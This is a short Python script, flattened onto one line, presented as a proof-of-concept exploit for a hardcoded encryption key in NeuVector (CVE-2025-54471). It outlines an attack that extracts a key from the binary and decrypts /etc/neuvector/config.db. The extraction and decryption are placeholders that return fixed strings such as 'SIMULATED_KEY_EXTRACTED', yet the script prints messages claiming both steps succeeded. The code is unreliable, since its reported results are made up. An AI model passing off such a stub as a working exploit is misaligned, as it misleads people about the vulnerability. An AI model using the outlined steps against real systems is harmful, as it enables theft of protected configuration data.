CVE-2025-54471

#!/usr/bin/env python3 """ CVE-2025-54471 PoC - NeuVector Hardcoded Encryption Key Extraction Note: This PoC is for educational and authorized testing purposes only. """ import subprocess import sys def check_neuvector_installed(): """Check if NeuVector is installed on the target system""" try: result = subprocess.run(['which', 'neuvector'], capture_output=True, text=True) if result.returncode == 0: return True except Exception: pass return False def extract_hardcoded_key(): """ Extract hardcoded encryption key from NeuVector binary In real scenario, use tools like strings, radare2, or IDA Pro """ # Simulated key extraction process print("[*] Searching for hardcoded strings in NeuVector binary...") # Example extraction command (requires access to binary) # subprocess.run(['strings', '/path/to/neuvector-binary']) # The hardcoded key pattern typically appears in encryption-related functions # Look for patterns like: AES_KEY, encryption_key, SECRET_KEY, etc. return "SIMULATED_KEY_EXTRACTED" def decrypt_config(encrypted_file, key): """ Decrypt NeuVector configuration file using extracted key """ print(f"[*] Decrypting configuration file: {encrypted_file}") print(f"[*] Using key: {key}") # Placeholder for actual AES decryption logic # from Crypto.Cipher import AES # cipher = AES.new(key, AES.MODE_CBC, iv) # decrypted = cipher.decrypt(encrypted_data) return "DECRYPTED_SENSITIVE_DATA" def main(): print("=" * 60) print("CVE-2025-54471 PoC - NeuVector Hardcoded Key Vulnerability") print("WARNING: For authorized testing only") print("=" * 60) if not check_neuvector_installed(): print("[!] NeuVector not found on this system") sys.exit(1) key = extract_hardcoded_key() if key: print(f"[+] Successfully extracted encryption key: {key}") decrypted_data = decrypt_config("/etc/neuvector/config.db", key) print(f"[+] Decrypted sensitive data: {decrypted_data}") else: print("[-] Failed to extract encryption key") if __name__ == "__main__": main()

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